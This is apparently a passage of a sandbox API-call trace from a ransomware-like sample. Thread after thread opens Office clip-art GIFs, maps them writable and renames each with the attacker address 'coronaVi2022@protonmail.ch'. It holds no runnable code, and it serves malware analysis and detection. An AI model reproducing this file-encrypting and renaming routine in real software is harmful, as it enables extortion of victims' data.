	[0092.897] GetFileSizeEx (in: hFile=0x948, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=4395) returned 1
	[0092.897] CreateFileMappingA (hFile=0x948, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1135, lpName=0x0) returned 0x910
	[0092.897] MapViewOfFile (hFileMappingObject=0x910, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0092.898] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0092.898] CloseHandle (hObject=0x910) returned 1
	[0092.899] GetCurrentThreadId () returned 0x171c
	[0092.899] FlushFileBuffers (hFile=0x948) returned 1
	[0092.900] CloseHandle (hObject=0x948) returned 1
	[0092.901] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 126
	[0092.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif")) returned 1
	[0092.901] free (_Block=0x51f3088) 
	[0092.901] RtlExitUserThread (Status=0x0) 

Thread:
	id = 422
	os_tid = 0x1720

	[0092.903] _alloca_probe () returned 0x40328a
	[0092.903] GetCurrentThreadId () returned 0x1720
	[0092.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00174_.gif", dwFileAttributes=0x80) returned 1
	[0092.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00174_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0092.904] GetFileSizeEx (in: hFile=0x910, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3979) returned 1
	[0092.904] CreateFileMappingA (hFile=0x910, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf95, lpName=0x0) returned 0x7c8
	[0092.904] MapViewOfFile (hFileMappingObject=0x7c8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.905] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.905] CloseHandle (hObject=0x7c8) returned 1
	[0092.905] GetCurrentThreadId () returned 0x1720
	[0092.906] FlushFileBuffers (hFile=0x910) returned 1
	[0092.907] CloseHandle (hObject=0x910) returned 1
	[0092.907] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 126
	[0092.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif")) returned 1
	[0092.908] free (_Block=0x51f60a0) 
	[0092.908] RtlExitUserThread (Status=0x0) 

Thread:
	id = 423
	os_tid = 0x1724

	[0092.910] _alloca_probe () returned 0x40328a
	[0092.910] GetCurrentThreadId () returned 0x1724
	[0092.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00175_.gif", dwFileAttributes=0x80) returned 1
	[0092.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00175_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8
	[0092.911] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3379) returned 1
	[0092.911] CreateFileMappingA (hFile=0x7c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd35, lpName=0x0) returned 0x81c
	[0092.911] MapViewOfFile (hFileMappingObject=0x81c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.912] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.912] CloseHandle (hObject=0x81c) returned 1
	[0092.912] GetCurrentThreadId () returned 0x1724
	[0092.912] FlushFileBuffers (hFile=0x7c8) returned 1
	[0092.914] CloseHandle (hObject=0x7c8) returned 1
	[0092.914] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 126
	[0092.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif")) returned 1
	[0092.915] free (_Block=0x51f0070) 
	[0092.915] RtlExitUserThread (Status=0x0) 

Thread:
	id = 424
	os_tid = 0x1728

	[0092.916] _alloca_probe () returned 0x40328a
	[0092.917] GetCurrentThreadId () returned 0x1728
	[0092.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00176_.gif", dwFileAttributes=0x80) returned 1
	[0092.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00176_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c
	[0092.917] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3120) returned 1
	[0092.917] CreateFileMappingA (hFile=0x81c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0x838
	[0092.917] MapViewOfFile (hFileMappingObject=0x838, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.921] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.921] CloseHandle (hObject=0x838) returned 1
	[0092.921] GetCurrentThreadId () returned 0x1728
	[0092.921] FlushFileBuffers (hFile=0x81c) returned 1
	[0092.923] CloseHandle (hObject=0x81c) returned 1
	[0092.924] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 126
	[0092.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif")) returned 1
	[0092.925] free (_Block=0x51f3088) 
	[0092.925] RtlExitUserThread (Status=0x0) 

Thread:
	id = 425
	os_tid = 0x172c

	[0092.927] _alloca_probe () returned 0x40328a
	[0092.927] GetCurrentThreadId () returned 0x172c
	[0092.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10890_.gif", dwFileAttributes=0x80) returned 1
	[0092.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd10890_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838
	[0092.927] GetFileSizeEx (in: hFile=0x838, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13525) returned 1
	[0092.927] CreateFileMappingA (hFile=0x838, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34d9, lpName=0x0) returned 0x860
	[0092.928] MapViewOfFile (hFileMappingObject=0x860, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.931] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.931] CloseHandle (hObject=0x860) returned 1
	[0092.931] GetCurrentThreadId () returned 0x172c
	[0092.931] FlushFileBuffers (hFile=0x838) returned 1
	[0092.937] CloseHandle (hObject=0x838) returned 1
	[0092.938] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 126
	[0092.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif")) returned 1
	[0092.938] free (_Block=0x51f4090) 
	[0092.938] RtlExitUserThread (Status=0x0) 

Thread:
	id = 426
	os_tid = 0x1730

	[0092.940] _alloca_probe () returned 0x40328a
	[0092.941] GetCurrentThreadId () returned 0x1730
	[0092.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10972_.gif", dwFileAttributes=0x80) returned 1
	[0092.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd10972_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860
	[0092.941] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20201) returned 1
	[0092.941] CreateFileMappingA (hFile=0x860, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef1, lpName=0x0) returned 0x964
	[0092.942] MapViewOfFile (hFileMappingObject=0x964, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.946] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.946] CloseHandle (hObject=0x964) returned 1
	[0092.946] GetCurrentThreadId () returned 0x1730
	[0092.946] FlushFileBuffers (hFile=0x860) returned 1
	[0092.948] CloseHandle (hObject=0x860) returned 1
	[0092.948] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 126
	[0092.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif")) returned 1
	[0092.948] free (_Block=0x51f1078) 
	[0092.948] RtlExitUserThread (Status=0x0) 

Thread:
	id = 427
	os_tid = 0x1734

	[0092.950] _alloca_probe () returned 0x40328a
	[0092.951] GetCurrentThreadId () returned 0x1734
	[0092.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19563_.gif", dwFileAttributes=0x80) returned 1
	[0092.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd19563_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964
	[0092.951] GetFileSizeEx (in: hFile=0x964, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20459) returned 1
	[0092.951] CreateFileMappingA (hFile=0x964, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ff5, lpName=0x0) returned 0x810
	[0092.951] MapViewOfFile (hFileMappingObject=0x810, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.955] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.956] CloseHandle (hObject=0x810) returned 1
	[0092.956] GetCurrentThreadId () returned 0x1734
	[0092.956] FlushFileBuffers (hFile=0x964) returned 1
	[0092.958] CloseHandle (hObject=0x964) returned 1
	[0092.958] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 126
	[0092.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif")) returned 1
	[0092.958] free (_Block=0x51f3088) 
	[0092.958] RtlExitUserThread (Status=0x0) 

Thread:
	id = 428
	os_tid = 0x1738

	[0092.960] _alloca_probe () returned 0x40328a
	[0092.960] GetCurrentThreadId () returned 0x1738
	[0092.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19582_.gif", dwFileAttributes=0x80) returned 1
	[0092.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd19582_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810
	[0092.961] GetFileSizeEx (in: hFile=0x810, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15737) returned 1
	[0092.961] CreateFileMappingA (hFile=0x810, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d81, lpName=0x0) returned 0x8b4
	[0092.961] MapViewOfFile (hFileMappingObject=0x8b4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.964] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.964] CloseHandle (hObject=0x8b4) returned 1
	[0092.964] GetCurrentThreadId () returned 0x1738
	[0092.965] FlushFileBuffers (hFile=0x810) returned 1
	[0092.966] CloseHandle (hObject=0x810) returned 1
	[0092.966] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 126
	[0092.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif")) returned 1
	[0092.967] free (_Block=0x51f0070) 
	[0092.967] RtlExitUserThread (Status=0x0) 

Thread:
	id = 429
	os_tid = 0x173c

	[0092.969] _alloca_probe () returned 0x40328a
	[0092.969] GetCurrentThreadId () returned 0x173c
	[0092.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", dwFileAttributes=0x80) returned 1
	[0092.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4
	[0092.969] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9024) returned 1
	[0092.970] CreateFileMappingA (hFile=0x8b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2340, lpName=0x0) returned 0x96c
	[0092.970] MapViewOfFile (hFileMappingObject=0x96c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.972] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.972] CloseHandle (hObject=0x96c) returned 1
	[0092.972] GetCurrentThreadId () returned 0x173c
	[0092.972] FlushFileBuffers (hFile=0x8b4) returned 1
	[0092.974] CloseHandle (hObject=0x8b4) returned 1
	[0092.974] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 155
	[0092.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif")) returned 1
	[0092.975] free (_Block=0x51f80b0) 
	[0092.975] RtlExitUserThread (Status=0x0) 

Thread:
	id = 430
	os_tid = 0x1740

	[0092.976] _alloca_probe () returned 0x40328a
	[0092.977] GetCurrentThreadId () returned 0x1740
	[0092.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", dwFileAttributes=0x80) returned 1
	[0092.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c
	[0092.977] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7216) returned 1
	[0092.977] CreateFileMappingA (hFile=0x96c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0x968
	[0092.978] MapViewOfFile (hFileMappingObject=0x968, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.979] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.979] CloseHandle (hObject=0x968) returned 1
	[0092.980] GetCurrentThreadId () returned 0x1740
	[0092.980] FlushFileBuffers (hFile=0x96c) returned 1
	[0092.981] CloseHandle (hObject=0x96c) returned 1
	[0092.981] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 155
	[0092.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif")) returned 1
	[0092.982] free (_Block=0x51f4090) 
	[0092.982] RtlExitUserThread (Status=0x0) 

Thread:
	id = 431
	os_tid = 0x1744

	[0092.984] _alloca_probe () returned 0x40328a
	[0092.984] GetCurrentThreadId () returned 0x1744
	[0092.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", dwFileAttributes=0x80) returned 1
	[0092.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968
	[0092.985] GetFileSizeEx (in: hFile=0x968, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=14881) returned 1
	[0092.985] CreateFileMappingA (hFile=0x968, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a21, lpName=0x0) returned 0x984
	[0092.985] MapViewOfFile (hFileMappingObject=0x984, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.989] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.989] CloseHandle (hObject=0x984) returned 1
	[0092.989] GetCurrentThreadId () returned 0x1744
	[0092.989] FlushFileBuffers (hFile=0x968) returned 1
	[0092.991] CloseHandle (hObject=0x968) returned 1
	[0092.991] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 155
	[0092.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif")) returned 1
	[0092.992] free (_Block=0x51f0070) 
	[0092.992] RtlExitUserThread (Status=0x0) 

Thread:
	id = 432
	os_tid = 0x1748

	[0092.994] _alloca_probe () returned 0x40328a
	[0092.994] GetCurrentThreadId () returned 0x1748
	[0092.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", dwFileAttributes=0x80) returned 1
	[0092.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
